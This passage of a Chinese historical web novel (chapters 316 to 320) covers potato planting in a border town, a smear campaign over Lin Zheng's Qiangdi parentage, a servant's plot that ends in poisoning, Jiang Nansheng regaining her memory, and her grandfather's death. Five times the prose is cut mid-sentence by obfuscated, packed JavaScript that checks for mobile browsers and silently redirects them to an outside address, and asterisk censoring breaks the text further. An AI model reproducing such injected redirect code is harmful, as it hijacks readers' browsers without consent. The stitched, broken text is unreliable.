叶寒衣点头,眼珠子都亮了三分。 萧晏辞没想到她承认得这么干脆,一时脸上表情有些古怪。 “你看上他什么了?” 叶寒衣:“功夫好,身材好,长得顺眼。” 萧晏辞:“……不是,你是怎么知道他身材好不好的?” 叶寒衣大手一挥,“这不重要。反正我瞧他处处顺眼,比京城里头那些肩不能扛手不能提的公子哥强多了。” 萧晏辞对戈叙白也颇有几分欣赏。 但是,若让他做自己的表妹夫,萧晏辞就开始挑剔起来了。 “他什么身份,配得上你?” 叶寒衣不乐意了,“他的身份怎么了?武将不论出身,一切以战功说话。” 萧晏辞瞧她那副样子,不禁啧啧,“八字还没一撇的事儿,就开始护上了。若他对你无意,你岂不是要寻死觅活?” “那你就太小瞧我了。他若是对我无意,我也不会死缠烂打,三条腿的**不好找,两条腿的男人遍地都是。” 结亲嘛,结的是两姓之好,不是结仇的。 戈叙白再合她的眼缘,也还没到非他不可的地步。 萧晏辞见她神色洒脱,没有一头扎进去,心头略放松几分。 “婚姻大事,讲究父母之命媒妁之言,你便是再中意,也得先知会舅舅和舅母。” 叶寒衣语气笃定,“爹娘定不会反对的,他们说了,只要我喜欢就行。” 而且,戈叙白还是谷栖山的徒弟,他的人品才干都有谷栖山作保,他们就更不会反对了。 萧晏辞啧了一声,“瞧瞧你这副不值钱的样子。” 怕是恨不得马上嫁过去吧。 叶寒衣反唇相讥,“有些人也不拿镜子照照自己,看看究竟谁更不值钱。知苒送你那香囊,都腌入味了吧?还当宝贝似的,舍不得洗一洗。还好意思向人家讨要荷包,啧,脸皮真厚。” 最近陆知苒一直在绣荷包,叶寒衣瞧见两回,随口问了一句,这才知道了,当时险些没把她牙酸掉了。 今日,可算是找着机会笑话他了。 谁料萧晏辞脸皮无敌厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515020|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,非但没被笑话,反而一副嘚瑟的模样。 “你与我们能一样吗?我们是正儿八经赐婚的未婚夫妻,是有名分的。” 叶寒衣:“你也知道是‘未婚’夫妻?未婚哪来的名分?” 表兄妹二人说着话就开始斗嘴,最后谁也没说过谁。 恒瑞商行的效率比众人想象中更高,只花了不到十日,就运来了一大批洋芋,还传授了洋芋的种植之法。 洛观澜有心把他们引荐给萧晏辞,让恒瑞商行能有立功的机会,但对方却婉拒了。 洛观澜把洋芋接手,在向萧晏辞汇报时,他也没有隐瞒,如实把恒瑞商行的功绩道来,萧晏辞暗暗记下了。 洋芋作种时,可以将其切成小块,待其表面伤口风干,便可种下。 如此,一个洋芋便可分割为数个,也不用担心洋芋种不够的问题。 洋芋种到位,谷栖山便开始对此事广而告之,也将播种之事安排下去。 对于未知之事,大家心中都会生出诸多怀疑与顾虑。 萧晏辞做主,先给每户送几个洋芋,让他们回去煮着吃。 他们自己尝到了洋芋的味道,知道了这是个好东西,自然就会愿意去尝试种植。 每家每户领着洋芋,将信将疑地拿回家下了锅。 洋芋的吃法很简单,扔进火堆里烤熟了就能吃。 大家尝了烤洋芋,都被那粉糯的口感惊艳了,一个洋芋下肚,十分管饱。 经此试验,大家果然不再怀疑,立马开始积极学习洋芋的耕种之法,不多时,整个西平城的百姓就开始如火如荼地干起活来。 此地的土质贫瘠,且气候干旱,谁都没法保证洋芋能否存活,存活之后的产量能有多少。 若最终洋芋没能存活,百姓只怕会生民怨,朝廷也会降罪,这些风险,谷栖山都愿意承担。 万一成功了呢? 万一洋芋大获丰收,百姓们就能免于饥荒,未来的日子,也都有了些许盼头。 百姓们的期望其实很简单,唯愿四海升平,吃饱穿暖罢了。 第316章 羌笛的挑拨离间 洋芋播种事宜安排下去,大事落定,萧晏辞的伤也养得差不多了,他们开始准备启程。 但谁都没想到,在这个关头,城中又起了一场不大不小的风波。 有羌笛人乔装打扮,潜入了西平城。 他们的目标是林铮。 上次伏击谷栖山的行动,林铮出现,杀了羌笛二皇子,此事传回羌笛,引起羌笛可汗朗戈多吉的愤怒。 对于这个逆子,朗戈多吉生了杀心。 紧接着,谷栖山没有死的消息传回羌笛,越发让朗戈多吉震怒,羌笛上下都激愤难平。 他们没有能力取谷栖山的性命,但却不愿意放过林铮,定要取了林铮的项上头颅,为二皇子祭奠。 是以,才有了这场刺杀。 但他们没有成功,当他们悄悄潜入林铮的房间时,等待他们的,是一场精心设计的瓮中捉鳖。 他们的刺杀,林铮早就收到了海东青的报信。 二十名刺客,被尽数捉拿。 次日,他们被倒挂在了城门,朗戈多吉愤怒不已,却不敢再派人刺杀。 但很快,城中就开始有了关于林铮身份的传言。 原先,赵书宁和谷兆麟便传过这个传言,但上次的传言含糊其辞,这次的传言却是有鼻子有眼,甚至还有林铮母亲的同村人出来作证。 林铮的身份,成了摊在台面上的谈资,他母亲的**不堪都无所遁形。 在有心人的煽动下,西平城百姓对他也生出了深深的敌意。 “原来他是羌笛人的种,难怪他身上带着一股子戾气,一看就不是什么好东西。” “先前不是就有传言他是羌笛人吗?后来这事就不了了之了,我还以为是个误会,没想到竟是真的。” “羌笛人与他们不共戴天,西平城容不下羌笛人,把他杀了!” “对,杀了他,铲除祸患!” 城中**被煽动,他们对林铮的敌意攀至顶峰,连带着,与林铮时常同进同出的蒋南笙也受到攻讦。 朗戈多吉的这一招挑拨离间成功了。 眼见好不容易安稳下来的西平城陷入**,谷栖山面沉如水。 军中也有不少老将提出将林铮处置了,以免祸乱人心。 说这话的人被谷栖山当众斥骂,“林铮的母亲是大齐人,她是受害者,林铮也是受害者,若我们把林铮除掉,与**的刽子手有何区别?岂不是恰好中了羌笛人的挑拨之计?更何况,林铮斩杀了羌笛二皇子,他立下了功劳,不仅不该罚,反而该赏!” 提议的老将被训得说不出话来。 “那将军,眼下城中局势如此,该怎么办?不把民怨安抚住,恐生祸患。” 谷栖山沉吟,心中很快有了法子。 要操控百姓的想法其实很简单,无非就是要触到他们的利益,让他们产生共鸣。 翌日,谷栖山以传授洋芋种植要点为由,下令召集众百姓。 百姓齐聚,谷栖山站在高台上。 他没有先讲洋芋种植之事,而是开门见山,抛出了林铮之事。 “诸位都觉得,林铮该杀,是吗?” 大家立马高声附和,“该杀!” 谷栖山拿出一本名册,“这是西平城近十年以来,共有上千名女子被羌笛掳劫,和玉村齐家的齐春桃,齐美兰,王家的王梅,王二丫……还有赐福村的何招娣,陈玉凤……这份名单上,都一一详细记录着。是否还有人记得她们?若她们带着孩子活着回来了,你们是否也觉得他们该死?” 这一次,大家都沉默了。 在场的百姓中,甚至还有这些被掳走的女子的亲人。 他们听到自己女儿的名字,心中那根脆弱的弦被拨动,眼眶也不自觉红了。 如果女儿能回来,自己不论怎样都会接纳她们,哪怕把孩子带回来,那也是他们的外孙啊。 谷栖山看着众人的神色,知道自己这番话多少起了些效果。 至少,有人已经产生了共鸣。 “林铮的母亲,不过是这上千名不幸女子中的一个,林铮的诞生非他们母子所愿,他也不能选择自己的生父,不能因此就抹杀他活着的权利。” “更何况,并非每个大齐人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515021|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都是好人。也并非每一个羌笛人,都是十恶不赦的歹人,如此直接粗暴地以血统来论人生死,实在太过草率了。” “前不久,羌笛还贼心不死,派了刺客混入城中,意图行刺,他们要杀的便是林铮,因为林铮斩杀了羌笛二皇子,羌笛记恨他,才要取其性命。林铮对大齐,是立了功的。” “羌笛刺杀不成,这才想出了此法,故意引导**,煽动众人,以此借刀**,我们若当真把林铮杀了,那就真的是中了对方的奸计了。” 谷栖山的这番话叫众百姓心头一震,脑子也瞬间清醒了。 原来如此。 差一点,他们就被煽动了。 这场风波,在谷栖山的三言两语之下,轻易化解了。 蒋南笙和林铮远远地站在人群后方,看着这一幕,也将众人神色态度的转变尽收眼底。 蒋南笙紧张的面色终于放松,心中大石终于落了地。 “阿铮,没事了。” 林铮心头不受控制地浮起点点涟漪。 这几日遭受大家**的攻击,他本以为自己并不在乎,这些人,便是再想杀了他,都没有这个能力。 但现在,他才意识到,原来自己也是在意的。 他也渴望得到大家的接纳与认可,而这份接纳与认可,也是给母亲的。 母亲直到临死前,都渴望着能回到大齐,回到自己的家乡和亲人身边,但她却担心自己不被接纳。 而现在,她不用再担心了。 他看着谷栖山的方向,眼底又多了几分敬重。 这场风波平息,大多数人对林铮的敌意消失了,但也有人例外。 蒋鹤荣本就对他不满意,此事一出,他再看林铮,就更加鼻子不是鼻子,眼睛不是眼睛,哪哪儿都不顺眼。 但有蒋老太医压着,他也不敢做什么。 林铮对蒋鹤荣既不热络奉承,也不会恶语相向,基本上是客气又疏离——这也是蒋南笙对待他的态度,林铮一切以蒋南笙为标准,蒋南笙敬重谁,他便敬重谁,蒋南笙对谁冷淡,他便对谁冷淡。 第317章 张垚没死 蒋鹤荣对此十分不满,觉得自己没有被重视。 这样一个人,还敢觊觎他女儿,简直是痴人说梦。 这时,另一个失踪多日的人也出现了。 张垚跪在蒋家人的面前,沉痛忏悔,“是属下护主不利,这才让少爷……让小姐陷入险境,属下该死!” 蒋南笙看着眼前之人,眉头微蹙。 “他是谁?” 林铮:“他就是张垚,你奶娘的儿子。” 当初他在蒋南笙的车队中休养许久,得蒋南笙亲自施诊救治,自然见过张垚。 只不过,他与张垚的关系平平,甚至可以说是有些恶劣。 张垚对他有敌意,他伤势稍好之后,张垚便以蒋南笙的名义对他下过逐客令,但他没有相信,反在蒋南笙面前将此事抖了出来。 此事揭开,蒋南笙毫不留情地把张垚训斥了一顿,张垚在蒋南笙面前低眉顺眼,但转个头,看林铮的目光更加阴狠。 后来,他没来得及做什么,他们就出事了。 林铮以为张垚已经**,没想到,他竟这般命大。 张垚惊愕地看向蒋南笙,“小姐,您不记得了?” 蒋南笙摇头,“我失忆了。” 张垚的眼底闪过沉痛,再次磕头请罪,“是属下的错,没有护好您!” 蒋南笙没有想起他来,一时也把不准自己以往对他究竟是什么态度,便没有说话。 蒋鹤荣看着他,目光锐利。 “你当初就算护主不利,为何消失了这么久才出现?难不成你也失忆了?” 张垚伸手,将自己的外衫脱下,露出自己赤裸的胸膛。 那上面,赫然有一道足有半尺长的新伤,伤口表面十分狰狞。 “当日小姐遇袭,属下亦不幸受了重伤,若非命大,只怕早已一命呜呼。这段时日,属下一直惦记着小姐,想要去寻她,无奈伤势未愈,无法成行。直到近日,属下才得知诸位老爷都来了西平城,也得知少爷原来竟是小姐……” 说到最后,张垚的眼神都不禁闪过一抹复杂。 他在蒋南笙的身边伺候了十几年,二人一起长大,却也是最近才得知了蒋南笙是女儿身。 以往解释不通的地方,而今也终于有了答案。 难怪她从不让自己近身伺候,难怪她夏日也总把自己捂得严严实实。 见到他身上的确有严重的刀伤,蒋老太爷发话,让他先下去,蒋鹤荣这才没有继续揪着不放。 张垚起身告退,在走到蒋南笙面前时,他忍不住抬头看了林铮一眼。 林铮十分坚定地站在蒋南笙的身侧,还挪了两步,将蒋南笙整个人都挡住,隔绝了对方的目光。 张垚的眼底飞快迸射出一抹恼怒,他低下头,将眼底的情绪尽数遮掩。 待张垚离开后,蒋南笙看向林铮,“阿铮,你对他似乎很有敌意。” 林铮直言不讳,“我的确讨厌他。” “你们之间发生了什么?我不记得他了,想听你说说。” 林铮没有隐瞒,将此前与张垚发生的龃龉尽数道来。 蒋南笙听罢,眉头轻轻蹙起,“如此看来,他的心性倒是有些不够磊落。” 林铮不做评价。 他只说自己知道之事实,该如何权衡评价他,是蒋南笙自己的事。 张垚是她奶娘的儿子,他们之间必然有许多自己所没经历过的相处。 此人对蒋南笙来说或许也是不一样的,只是她暂时不记得了罢了,林铮不想误导她。 蒋南笙试图继续回想,但无奈脑中空空,只得放弃。 罢了,凡事不可强求,待到时机合适之时,她自然能想起来。 张垚的回归,只是一件微不足道的小事,蒋家人并未放在心上。 他们准备启程返京。 跟来时的愁云惨淡不同,此次回去,大家心里多多少少都有了几分底气。 他们的功劳不会再被轻易磨灭,想来这次皇上会对蒋家的女眷法外开恩,让她们继续留在京中生活。 蒋家经历了这场磨难,他们的期待也已经调至最低。 蒋鹤荣依旧对林铮不满。 不论是以女婿的标准,还是以普通小辈的标准,林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518067|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铮的态度都不够有敬意。 但他除了无能狂怒,也做不了什么。 这时,张垚找到了他。 “老爷,小的有一件事想向您回禀。” 蒋鹤荣睨他,“何事?” 张垚压低了声音,“小的要说之事,与小姐有关系。” 蒋鹤荣不耐烦,“要说便说,休要吞吞吐吐。” 张垚这才开口,“此次小姐遇袭,与林铮脱不开干系!” 蒋鹤荣一脸正色,“你说什么?是怎么一回事?且给我细细说来。” 张垚声音沉痛,“林铮是小姐半道上捡到的,小姐菩萨心肠,见他伤重,便悉心照料,将他从鬼门关救了回来。” “他许是早就发现了小姐的女儿身,对她生了觊觎之心,便勾结外人,演了这么一出戏。当时虽然混乱,但我分明瞧见他与那些**互相打配合。小姐身边的人被尽数除掉,小姐也被撞击头部失去记忆,被他带走。” “而今,小姐对他俨然是百般信任与依赖,若我不揭穿他,小姐就要将仇人当恩人了。更何况,林铮有一半血统的羌笛人,他骨子里便是嗜杀残暴的,难保他不会对蒋家人做出什么事来。” 张垚一番话说得信誓旦旦,蒋鹤荣一听,气得脸色都变了。 “竖子!我早就觉得他心术不正,而今看来,果然如此!我这便去揭穿他!” 蒋鹤荣转身就要走,张垚赶忙把人拦住。 “老爷且慢。您不是那林铮的对手,您如此贸贸然前去,若是激怒了对方,他对您不利怎么办?以他的残忍凶恶程度,未必做不出这样的事。” 蒋鹤荣一个激灵,清醒了过来。 “是,是,你说得对。那竖子对我半点敬意都无,若我揭穿他的真面目,他定会恼羞成怒,说不定我就要命丧他手了。” 想到此处,蒋鹤荣不禁惊出一身冷汗。 他可惜命着呢,万不想死。 “我去寻南笙,把此事告诉她,她若是清醒了,自然不会再信任那竖子。” 张垚再次拦住了他,“老爷,这也不妥。” 第318章 饯行 蒋鹤荣一脸不悦地看着他,“这也不行,那也不行,究竟要怎样?” 张垚忙道:“小姐现在失了记忆,她对那林铮已是全身心信赖,说句老爷不爱听的话,小姐对林铮只怕比对您都亲近。您贸贸然到小姐面前揭穿,小姐只怕不会信,说不定还会到林铮跟前求证,到时岂不也要被林铮知晓?” 蒋鹤荣闻言,面上露出几分迟疑。 “南笙素来冷静,应当不会如此吧。” 张垚眼睑微垂,语气莫名。 “以往,她还是少爷之时,的确冷静,但现在,她是小姐,她的记忆被林铮填满了,整颗心都是偏向林铮的。” 张垚的面上带着一丝难言的晦涩,心口也有一丝隐秘的刺痛与不甘,被他努力压了下去。 蒋鹤荣若有所思,“你所言倒也有几分道理。那依你看,应当如何?” 张垚收敛了心中情绪,缓声开口,“小的有一计,可神不知鬼不觉地除掉林铮。” “说来听听?” 张垚低声耳语一番,蒋鹤荣眼中闪过一抹深思。 他没有立马表态,但张垚看他的神色,知道他已然动了心思。 张垚垂下头,没有再说话,眼底闪过一抹冰冷的杀意。 林铮本就不该出现。 当初他若识趣地走了也就罢了,既然他不肯走,非要赖在小姐的身边,那就不要怪他不留情面了。 之后几日,蒋鹤荣都没有任何行动,反倒像是忘了这件事。 张垚也没有再提起,一直老实本分地做自己的事。 萧晏辞这边,诸事备齐,第二日便准备出发了。 谷栖山在将军府设宴,为萧晏辞饯行。 谷栖山在养病,许久没有喝酒,今夜破了例,略喝了几杯。 “殿下此去一路小心,愿殿下回京一路顺风,圣心嘉许。他日庙堂之上,还望殿下能为戍边将士**。老朽虽年迈,犹可守此城门,断不会叫羌笛人再踏入大齐半步。” 萧晏辞亲自为他斟酒,“老将军放心,朝廷不会亏待每一个忠烈之士。” 谷栖山看着萧晏辞,眸底竟升起一丝淡淡氤氲,只是被他很快遮掩过去。 他命人取来佩剑,“此剑随我三十年,今日赠与殿下,见它,如见边关老卒。他日……若承九庙之重,老夫愿率三军,为殿下铸甲洗兵。” 最后那话,他压得很低,只二人听得清。 萧晏辞与他目光对视,彼此眼中都是不必多说的了然。 萧晏辞没有再给他倒酒,转而斟了一盏茶。 “那老将军需得保重身子。” 谷栖山爽朗一笑,又伸手在胸膛上用力拍了拍。 “老夫定好好保重身体,不叫殿下空担忧。” 戈叙白也在席上,他一直慢慢地饮着酒,目光时不时落在叶寒衣的身上。 不知第几次看向她时,叶寒衣起身,大大方方地走到他面前。 “戈叙白,临走前,我再与你切磋一番,你敢不敢?” 戈叙白放下了杯盏,掀袍起身,“那便承让了。” 二人撇下众人,径直出去比武去了。 萧晏辞瞥了他们一眼,也没有理会。 他们都有分寸,不会胡来。 众人把酒言欢,一时气氛颇为和乐。 就在这时,有人急匆匆入内回禀,“王爷,将军,不好了,蒋家那头出事了。” 屋中的和乐气氛瞬间一扫而空,众人的酒都醒了大半。 “出了何事?” “蒋家不知何故起了冲突,蒋老太医和蒋小神医都受伤昏迷了。” 萧晏辞和陆知苒闻言,面色俱是一变。 当下顾不得其他,立马起身往那边去,谷栖山则是立马派人去请军医。 赶到时,蒋家众人已经乱作一团。 庭院处还有血迹残留,看上去触目惊心。 蒋老太医和蒋南笙都被抬到了床上。 蒋老太医的额头上有一个偌大的血窟窿,这几日好容易休养得有几分红润的面色又变得一片苍白,整个人面上都笼上了一层濒死的气息。 蒋南笙双目紧闭,面上看不出明显的外伤,只是面色有些苍白。 林铮守在她的床边,脸色阴沉,双目赤红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518068|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,似充血。 他的衣裳上沾满了血迹,仔细看,他的指尖上有伤,正滴滴答答地淌着血,而他却完全没有处理。 蒋家几位老爷都自小学医,但他们的医术都马马虎虎,眼前情形,他们一个个竟是不敢下手。 霜华上前,依次给二人诊脉,她的面上不禁带上几分凝重之色。 “蒋小姐脑中的淤血似散了些,但奴婢不敢贸然用针,能不能醒,还得看她的造化。蒋老太医的话……奴婢不敢断言,还是等其他大夫来再作诊断吧。” 霜华的话说得隐晦,但大家都生出了隐约的猜测。 蒋南笙的情况稍好,但蒋老太医只怕是不行了。 萧晏辞面色发沉,“怎么回事?” 林铮周身那股子嗜杀的气场稍稍收敛,朝蒋鹤荣的方向瞥了一眼。 “蒋家大老爷欲对我下手,在酒里下了毒,我毒发,南笙发现了,与他起了争执,南笙被他推搡摔倒,昏迷不醒。” “蒋老太医被惊动,惊怒之下欲动手教训,也被大老爷推倒,撞到了桌角上。若非我的毒性及时控制,恢复了对身体的掌控,只怕我也会被他一刀杀了。” 林铮说出这番话时,语气冰冷,带着一股隐忍的愤怒。 他身上的毒性依旧没有完全解除,他扎破了手指,便是为了排出毒素,也为了让自己的头脑保持清醒。 林铮的话落,萧晏辞的目光立马转到蒋鹤荣的身上,那眼神锐利如刀,刮得他浑身一激灵,腿不自觉便开始发软了。 “瑾,瑾王殿下,这都是一场误会,我,我是一时失手,不是故意的啊!南笙是我的血脉,我怎会害她?老爷子是我亲爹,我,我同样不会害他的啊,我真的是不小心的。” 萧晏辞的目光锐利,眸底一片幽沉。 “那你给林铮下毒又是怎么一回事?” “瑾王殿下,是他包藏祸心!当初,便是他与歹人勾结,才害得南笙出了意外,我这是在替南笙报仇。南笙被他蛊惑了,竟是完全相信他不相信我……瑾王殿下,您可要相信我啊!” 第319章 想起来了 说完,蒋鹤荣又似想到了什么,伸手指着林铮,语气笃定。 “我知道了,方才便是你暗中使的坏,趁机把南笙和老爷子绊倒,最后全都嫁祸到了我的头上来!你这个羌笛人生的坏种,果然从根子上就坏透了,当初南笙就不该救你!” 蒋鹤荣越骂越来气,眼神凶恶,恨不得活剐了林铮。 林铮看着他,眼神锐利,如同鹰隼般,竟叫蒋鹤荣心尖一抖,生出畏惧来。 “你,你这么看着我做什么?我难道说错了吗?” 林铮语气冰冷,“这些话,是谁说的?可有证据?” 蒋鹤荣理直气壮,“是张垚亲口所说,难道还会有假?” 林铮听到这个名字,眼底闪过一抹冷意。 果然是那小人。 当日他回来之时,林铮就感觉他不怀好意。 但他这些时日一直安安分分,林铮以为是自己小人之心了,没想到,他竟使了一出借刀**。 萧晏辞和陆知苒听到这个名字,互相对视一眼。 这个名字,倒是熟悉。 他竟没死? 林铮冷冷道:“我没有做过此事,是张垚血口喷人。” 蒋鹤荣不信,“张垚是蒋家的家生子,又与南笙一起长大,对南笙最是忠心耿耿,有关南笙之事,他断然不会说谎。” 一个是知根知底的家生子,一个是半道捡来的身份不明的人,谁更可信?在蒋鹤荣心中一目了然。 陆知苒却觉得,只怕未必。 上辈子张垚便背叛过蒋南笙,这辈子,很多事都已经发生了改变,陆知苒也以为张垚**,没曾想,他还活着。 他在蒋南笙遇袭之事中是否无辜,值得打个问号。 萧晏辞也想到了这一层,他问,“张垚人呢?” “他去请大夫了。” 正说着话,外头传来动静。 是张垚请了大夫回来了。 刚巧,谷栖山派的军医也赶了来,双方碰到了一处。 顾不上在这时审人,萧晏辞立马让大夫给他们诊脉。 给蒋老太医诊脉的大夫连连摇头,“这位老人家年事已高,寿元将尽,老夫无能为力,诸位还是准备后事吧。” 蒋家众人闻言,面上顿时笼着一片哀戚之色。 蒋老太医若**,他们的主心骨也没了。 蒋二老爷和蒋三老爷对蒋鹤荣怒目而视。 “大哥,你教子无方害得蒋家分崩离析,现在你又害**父亲,我们蒋家被你们大房害惨了!” “南笙是蒋家现在唯一的希望,她若是也被你害**,你就是蒋家的罪人,你才是真正该死!” 面对两个兄弟的责难,蒋鹤荣涨红了脸,连连否认,“不是我,是林铮,是他害的!” 蒋家兄弟几人吵吵嚷嚷,萧晏辞冷声呵斥。 “都闭嘴!先听听大夫怎么说。” 给蒋南笙诊断的老军医收回手,“这位小姐的脑中似有淤血,她先前可是受了什么伤?” 林铮忙道:“她先前头部受了重击,被淤血堵塞,失忆了。” 老军医捋着胡须,点了点头。 “这就对了,她这次头部也受了重击,反倒是把先前的淤血撞散了,老夫再给她施一套针,让她脑中淤血尽数散去,待她醒来,多半就能想过往之事。” 听了老军医这话,众人悬着的心也终于落了地。 人群后的张垚,脸色却是微微变了变。 蒋鹤荣狠狠松了口气,他忙不迭道:“我就知道南笙是个有福的孩子,如此,她经历这一遭也算是因祸得福了。” 没人搭话。 因祸得福,是蒋南笙运气好,并不能抵消他的过错。 萧晏辞不放心地问,“施针的话,你有几成把握?” “八成。” 凡事都有风险,他敢说八成的几率,可见他的确有几分把握。 当即不再迟疑,让他下针。 众人安安静静地守着,不敢发出半点声音,唯恐惊扰了他,让他分心。 足足过了小半个时辰,老军医才收了针,长长吐了一口气。 “成了。” 林铮狠狠松了口气,又连忙问,“那她什么时候能醒?” “说不准,可能马上就能醒,也可能过一段时间。” 话音刚落,床上的人眼皮就动了动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15523290|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 林铮眼尖地看到了,连忙凑了过去,惊呼地低唤。 “阿蘅,阿蘅,你醒了吗?” 众人也都把目光落在蒋南笙的脸上。 蒋南笙的手轻轻动了动,终于睁开了眼皮。 她目光轻转,涣散的眼神一点点聚拢。 林铮对上她的目光,微微怔了怔。 一个眼神,林铮就明白了,她已经不是独属于他的阿蘅,她又变成了蒋家的蒋南笙。 她的眼神不一样了。 林铮为她感到高兴,但心底又不禁有些怅然。 蒋南笙朝他微微勾唇,露出了一抹笑。 那笑容一如既往,并未有半分变化。 这让林铮的心头似被什么轻轻抚过,方才升起的那股子怅然失落,也瞬间被抚平了。 萧晏辞上前,蒋南笙目光转向他。 “阿辞。” 萧晏辞瞬间松了口气,也露出一抹笑来。 “南笙,你终于想起来了。” “嗯,想起来了。” 蒋南笙欲起身,林铮立马上前搀扶,动作熟练而轻柔,似作过很多次,蒋南笙也没有抗拒。 蒋鹤荣急切地上前,语气殷切,又带着一股微微的讨好。 “南笙,你,你好了?你想起爹没有?” 蒋南笙看着父亲,眼底的神色淡了两分。 “嗯,想起来了。” 蒋鹤荣狠狠松了口气,“太好了,南笙,你能想起来,真是太好了。多亏了方才你那一撞啊。” 没人接他的茬儿,蒋鹤荣略显尴尬。 蒋南笙先摔倒昏迷,她并不知蒋老太医也昏迷之事。 大家都有些迟疑,不知该不该告诉她。 蒋南笙到底敏锐,察觉到了几人面色的异样,她微微蹙眉。 “发生了何事?” 蒋鹤荣眼神闪烁,满脸心虚。 萧晏辞犹豫一番,还是把真相说了出来。 或许,这会是他们祖孙最后一次见面了。 蒋南笙闻言,面色大变。 她立马起身下床,“我要去看看祖父,我要亲自给他诊脉。” 她不相信,祖父会出事,这一切定然是假的。 第320章 人都有一死 蒋南笙被扶到了蒋老太医的床前。 看到他额上那硕大的血窟窿,蒋南笙心头一滞,一股难言的酸涩涌上心头。 她想到了这段时日与祖父的相处。 祖父早就知晓自己的女儿身,却是一直默认的态度,还暗暗帮自己隐瞒。 便是她向叔伯公开此事时,祖父也将此事尽数揽下。 这番爱护之意,她无以为报。 她不能让祖父客死异乡。 蒋南笙压下心头翻涌的情绪,伸手搭上他的脉搏。 不知过了许久,她终于缓缓地收回了手,眼底笼着一层难以形容的悲伤。 众人看到她的这番神色,心中已然有了几分猜测。 无人开口多问。 “给我取银针来。” 蒋南笙开始给蒋老太医施针,额上很快渗出细密的汗珠。 林铮拿出帕子,给她轻轻擦拭。 待收了针,她的后背也被打湿了。 好在,原本昏迷不醒的老人终于颤抖着睁开了眼睛。 蒋南笙伸手握住他枯瘦的手,努力压着眼底的泪意。 “祖父。” 蒋老太医目光聚焦,落在蒋南笙的身上,上下打量几圈,确保她没事,他悬着的心才终于落了地。 “你没事就好。” “祖父,我没事,我脑中的淤血散了,我全都想起来了。您也要快快好起来。” 蒋老太医眼底多了几分光亮,“好好好,记起来了就好。你好,祖父就好。” 蒋南笙努力笑着,“待回了京城,我会向皇上求情,让他对蒋家网开一面。蒋家不会倒,您定要好好的,亲眼看着蒋家繁荣昌盛起来。” 蒋老太医满脸欣慰,“你是好孩子,祖父相信你一定能做得到。但祖父的身子,怕是撑不下去了。” 蒋南笙的眼眶瞬间酸涩。 “祖父……” “好孩子,别哭,人都有一死,我活到这把年纪,已然够了。原本我最放不下蒋家,但现在,蒋家有你,祖父就没有什么好挂念的。” 蒋南笙听了这话,心头一阵刺痛。 “祖父,您是我的主心骨,您活着,我做什么都有底气,您若是走了,我也不知道自己能不能撑下去。就算为了我,您也撑下去,好吗?” 蒋老太医长长叹息一声,“祖父很累了,怕是撑不住了。南笙,未来的路,要靠你自己了。待我死后,把我的骨灰带回去,埋在你祖母的旁边吧。她等了我十几年了,我该与她团聚了。” 蒋南笙再也忍不住,眼泪簌簌滚落。 蒋鹤荣和蒋二老爷,三老爷也都瞬间红了眼眶。 萧晏辞等人亦是面色戚戚。 蒋老太医是个良医,他本该安享晚年,却因儿孙不孝,遭遇此番变故,实在令人唏嘘。 蒋老太医原本混沌的眼眸一点点亮了起来,整个人似瞬间恢复了神采。 他高喊一声,“夫人,让你久等了。” 说完这话,便阖上了眼睛,唇角含着一抹清浅的笑,蒋南笙紧握着的手,也瞬间耷拉了下去。 